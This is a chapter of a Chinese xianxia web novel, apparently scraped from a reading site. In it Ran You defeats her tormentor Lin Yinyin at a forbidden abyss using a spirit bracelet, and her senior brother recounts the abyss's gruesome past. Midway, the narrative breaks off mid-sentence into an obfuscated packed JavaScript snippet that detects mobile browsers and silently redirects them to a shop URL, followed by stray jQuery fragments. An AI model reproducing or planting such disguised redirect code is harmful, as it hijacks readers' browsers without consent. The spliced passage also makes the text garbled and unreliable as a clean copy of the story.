此时的林茵茵正站在渊边向下看,施着传音术怒道:“我叫你耳聋了吗!不会真死在下面了吧!”她刚刚接连施法好几次,这个绳子就跟失灵了一般,怎么也拽不上来人。
冉有心道好奇怪,她在下面时分明什么声音都没听到。
林茵茵又自言自语道:“我再试最后一次,再不行,你就死下面吧,大不了我回家就是了,真是够倒霉的。”她捏了个决,这次绳子竟然出奇般地动了,只见绳子快速向上收缩,猛地一下带着她转了个身,林茵茵眉心一蹙,暗骂道:“什么毛病。”就见冉有站在她身后,将她吓了一跳,惊声道:“你什么时候上来的?”
此时的绳子还在收缩,冉有手腕的玉镯微闪,身上缠绕的绳子当即脱落,林茵茵捉了个空,满脸惊诧道:“你怎么会..?”
冉有歪了歪头道:“惊不惊喜?意不意外?”
林茵茵见她这幅嘴脸,甚是不爽。于是再次放出绳子想捆住冉有。谁知,突然有几道凌厉的光划过,将绳子割成数段。林茵茵当即傻眼,就见那几道光分别来自六枚半弧形物件,它们又合聚在一起成圆环状回到冉有的手腕上,定睛一看,竟是一串玉镯?
“你腕上那是什么东西!”林茵茵见此止不住地心惊,这绳子是父亲送给她的百岁生辰礼,取自世间罕见的千桃木根筋所制成,别说她了,连她爹来想要割断尚且需费些功夫,这玉镯怎么能这么轻而易举就割断。
冉有闻言举起手看向玉镯,漫不经心道:“你说这个吗?哦,我刚刚给它起了个名叫’云月白’怎么样,好不好听?”言罢,玉镯自顾转了两下,表示很喜欢。
林茵茵见冉有答非所问,耐心耗尽,怒斥道:
“冉有,你好大的胆子!竟敢窃取师门法器!”
冉有不以为然道:“你怎知这是师门法器,难不成你偷偷翻阅过本门法器记载,回去好复述给林家主?”
林茵茵道:“你胡说八道什么?刚刚下去时,你分明没有戴它,怎么一上来,手腕上就多了个玉镯?定是楚家主将法器存放在禁地,被你劫获了!”
冉有心道这林茵茵可说错了,云月白不是法器。她能与玉镯互通心意就说明它是灵器。法器是人为制造,在属性不变的情况下,威力全凭执器人修为高低。有些法器,修为不够甚至无法驱使。
而灵器是集先天之灵气,聚日月之精华而成,是天地间的产物,比仙骨还要罕见,只属于它所认定的人,主人哪怕是个废材,也不影响它的实力。
她刚想如实道出,内心却突感不安,莫名警惕,这种感觉随着她的想法愈发浓烈,直等她不打算说实话时,才渐渐得到纾解,无奈只好随口胡诌道:“我藏怀里了,不行吗?再说了,是不是师门法器与你一个外人何干?你总是揪着玉镯不放,莫非是在借此转移视线?”
林茵茵一头雾水,随后又听冉有道:“你说下面有虫,想来之前下去看过。可你说那种虫我方才在下面竟一个也没见着,那么多虫子怎能一夕之间全没了呢。若不是有人将它们偷偷运走,我实在想不通能去哪,你说是吧,林茵茵?只是不知,你要那么多噬骨虫干嘛,难道是想趁人不备,投放于门内?如此想来,这才是你来楚门真正的目的吧?林家主真是用心良苦啊。”
林茵茵冷笑道:“冉有,我真是小瞧你了,你张口闭口污蔑我心怀不轨。我告诉你,我根本没有下去过,那虫子是我编的,若我真偷偷运走了,又何必与你说一嘴?”
冉有道:“哦,这样啊,你说我该不该信呢?”
林茵茵怒道:“我管你信不信,你若敢出去瞎说,我剥了你的皮!”
此言一出,随即勾起冉有一些不好的回忆,她佯装不在乎道:“领教过了,没别的招了吗?”
“冉有,你就是个怪物!”林茵茵气急,亮出林家家传法器凝冰伞。通体雪白的8骨伞,每处伞尖坠着一片雪花,没有伞柄,兀自在空中飞速旋转,伞面逐渐变大,向冉有袭去。
冉有召出云月白,云月白断作6截,带着锋利的侧刃,灵活辗转于凝冰伞周围进行拦截。
凝冰伞左闪右避,竟给它躲过去了。再转眼,凝冰伞已覆在冉有上方。冉有见状当即凌空飞离,却根本出不了伞面。随着大量雪花倾盆而下,云月白即刻合聚,扩大圈围,瞬闪到冉有头顶上方,自上而下至脚边,护体结界已成,雪花落在屏障外,渐渐形成冰层裹住冉有。
林茵茵见此,拼命灌入灵力,她就不信了,就凭冉有的修为,即便有这法器又如何阻挡得了她。可谁知,她越来越撑不住,手臂隐隐发颤,现在这局面,卸不卸力对她来说都不利。
撑不住了,林茵茵被巨大的冲击力掀飞,掉入身后的深渊。此刻的她根本来不及稳住身形,重重摔在了渊底,口中鲜血狂喷,她感觉自己骨头好像摔断了,五脏六腑都碎作一团,疼到意识模糊,口中喃喃道:“爹,你快来救我。”随后便昏了过去。
…
话说另一端的楚闻璟刚在父亲那里演示完术法操练成果,回来就发现冉有不见了,接连问了好几个同门弟子,才知林茵茵带着冉有往东边方向去了,楚闻璟沿路一直在找人,等临近禁地时,不详的预感瞬间袭来。
他想起了年少时哥哥给他讲过的故事。
那里之所以被封为禁地是因为一口深渊的缘故。
数百年前,有几位弟子在深渊处进行飞行术训练,看看从下去到上来谁用时短。两两组队,四人下去后许久不曾上来,无论怎么叫唤都无人理睬,召出浮桑鸟前去探寻,也消失不见。
崖上的人纳闷,于是便有那种不知天高地厚的人,在周围人的鼓吹下跳下去找他们,结果当然是也没声了。这下渊上的人彻底慌了,连忙去请家主来救人。
家主来了之后,在渊边布阵向下探寻,却被一道神秘力量驳回,当即又叫来众位长老,合力攻破那层屏障。
虽以失败告终,但却得到了一个非常有用的消息,那就是大概在渊下几十丈处被设了一个抑制灵力的法阵,是以到了下面无法用灵力上来。
可即便如此,没有灵力也可用轻功,再不济可以沿渊壁攀爬上来,怎么就一去不复返了?莫非渊底还有什么可怕的东西?
人总是对未知的东西充满极大的好奇心,越是如此,越想知道真相是什么。家主当即拿出灵器寻踪镜一试,无论人或是动物穿过寻踪镜后,身上就会结法印,所见皆会在镜中显现。
此灵器顾名思义主要用来寻找踪迹,所以法印灵力微渺,不至于被法阵识别。但浮桑鸟是发丝炼化而来,一到下面就会变回原样,所以只能找普通鸟兽前去探寻。
鸟兽向下飞去时,镜中显出一路场景,就这样顺利到达了渊底。如此巡视一圈,果真发现了那几人,
其中有两人已成尸体,而尸体上只挂着为数不多的烂肉。其余的,不是跪地求饶,就是尖叫四窜,还有的奋力刨墙,指甲盖都掀翻了,也不知他们到底经历了什么变成如此模样。
鸟兽咬住其中一人的衣领往上带,大概飞到十几丈高时,渊壁突然亮起数个红点,围了渊壁一圈:这些红点一闪一闪的,等鸟兽想再往上飞时,红点逐渐浮出石壁,竟是一圈红眼珠。
它们疯狂眨动眼皮,迅即离壁贴向鸟兽和被衔住的人。随后这些红眼珠就像长在了他们身上一般,密密麻麻,无比瘆人,眼珠还在四处滴溜。
而后鸟兽就失去了身体控制,用喙琢自己身上的眼珠吞肚里,而被拖住的那人就更诡异了,抓了一颗红眼珠在嘴里嚼的嘎吱响。他们齐齐摔落在地面,躺在地上时,那弟子手和嘴依旧没有停,吃完前面的,还伸手去抓后面的。
在外的师徒众人看见此情此景,皆是惊恐不已。家主当即决定封锁消息,将此处封为禁地。
是以虽大家都知道那处是禁地,但关于禁地里发生的事情却只有寥寥几人知道,毕竟此事太过邪诡,本不该出现在仙门内,传出去有碍本门名声。在没弄清那怪物究竟是何物,法阵出自谁手时,绝对不能让旁人知道。
所以,万一林茵茵将冉有扔了下去…他甚至不敢多想,立即往那赶去。
赶到时,就见林茵茵控制凝冰伞在飙雪花,地上已经结了一个小型冰坡,冉有不会被冻在里面了吧?
糟糕,正当他要出手时,冰坡突然炸开,碎冰渣四射,凝冰伞被扎成千疮百孔,死气沉沉地掉落在一侧,林茵茵则被反冲摔进了渊底…而冉有安然无恙站
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987725|193528||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在原地,但见她脚周那圈光环突然消失不见,手腕上却多了一串玉镯。
楚闻璟阔步至冉有身边,衣袍翻飞间带起细碎草叶。
冉有见师兄突然来了,诧异道:“师兄,你怎么来了?”
楚闻璟见冉有背部还有未愈合的伤口,不禁心疼,明明有仙骨恢复快,可见此前一定伤得很重。
他满眼担忧道:“对不起,我今日来迟了。”边自责边抬手给冉有伤口处传输灵力,帮其疗伤。
冉有知道师兄在做什么,浅笑道:“没事啦,反正一会就好了,我都习惯了。”
楚闻璟喉头一紧,道:“习惯疼痛不是好事。我有给你传音符,怎么不用?”
冉有道:“我知道你今日要去师尊那汇报近日所学,若是因为我拖延了,到时候师尊又要罚你了。”
楚闻璟轻叹道:“受罚便受吧,总不能丢下你不管,下次记得及时联系我,别再让我担心了,好吗?”
冉有乖乖点头道:“好”,随即似是想起什么,眉峰轻挑,带着点小得意又道:“不过我跟你说,我也不傻好吧,你猜我吞了什么?咬牙珠,怎么样,如此一来,随林茵茵怎么折磨我,我都不会痛的。”
楚闻璟闻言眸色染了一层寒意,冷声道:“此人心性太恶毒,实在不该留在门内。她既掉进了渊底,也是她自作孽的后果。”
冉有转过身面对楚闻璟惊讶道:“你都看见啦?”
楚闻璟见冉有杏眼圆睁,抬首看向自己时眼里碎着星光,只觉甚是可爱,莞尔一笑道:“看见了,师妹好厉害。”
冉有怒了怒嘴道:“凭我的修为怎么可能打过她。”又离楚闻璟近了点压低声音道:“师兄,我偷偷告诉你,林茵茵将我打入渊底时,我因祸得福获得了一个灵器。”说罢就举起手给他看,“你瞧。是云月白好厉害,不然还不知我今日得多狼狈。”说完才反应过来,方才的不安感竟没有发作。
楚闻璟弯腰聆听,只觉少女发间一阵幽香入鼻,心神恍惚一瞬,而后才惊诧道:“你掉进渊底了?”
冉有道:“对啊。”
楚闻瑾道:“那你是如何出来的?”
冉有看了眼云月白示意道:“是它带我出来的,怎么了?原先我还打算自己爬上来呢,对了,我跟你说,我怀疑渊下有法阵,能抑制灵力,这事你知道吗?”
楚闻瑾道:“恩,我知道。你没看见红眼珠吗?”
冉有听闻一脸嫌弃道:“咦,那是什么玩意。”
没看见吗?楚闻瑾思忖片刻,沉吟道:“莫非法阵和红眼珠与这玉镯有关?”
冉有疑惑不解,楚闻璟将数百年前渊底发生的事告诉了冉有,冉有随即想起在渊底所见的那些白骨。原来如此,不禁看向腕上玉镯,神色复杂。
玉镯接连闪了好几下,冉有懂了它的意思,法阵和红眼珠它一概不知,是感知到冉有靠近,这才破石而出,至于它为什么不受法阵限制,它也不知为何。
冉有道:“师兄,不是它。我觉得或许法阵与红眼珠不是出自同一人。红眼珠听起来更像是邪物。”
楚闻瑾道:“我也怀疑过,可终归没亲眼见过,实难分辨。”
冉有想了想道:“不如我下去试试看,若是玉镯出,法阵破,灵力不再受限的话,也许布阵之人是为了防止玉镯被盗才如此。”
其实冉有想过用浮桑鸟探寻,但它若是消失也不知是法阵的缘故还是红眼珠的缘故,只能作罢。
楚闻璟拦住冉有道:“下面危险,我不想你再涉险了。”
冉有道:“无妨无妨,我既出来过一次,就能出来第二次,那个法阵在与不在都对玉镯没有影响,若是有红眼珠出现,我瞬位出来便是了。”
楚闻璟不解道:“瞬位?”
“嗯。”冉有向楚闻璟展示了一番自己是如何瞬位的,让他宽心。
楚闻璟见此虽觉厉害,但不怕一万就怕万一,还是不放心道:“不用你,自会有人去试。”
冉有起初纳闷不解,想了一下恍然道:“你是说林茵茵?”
楚闻璟一个抬眼,远处的凝冰伞被粉碎,随风散了,冷漠道:“女儿生死一线,做爹娘的,不会不来。”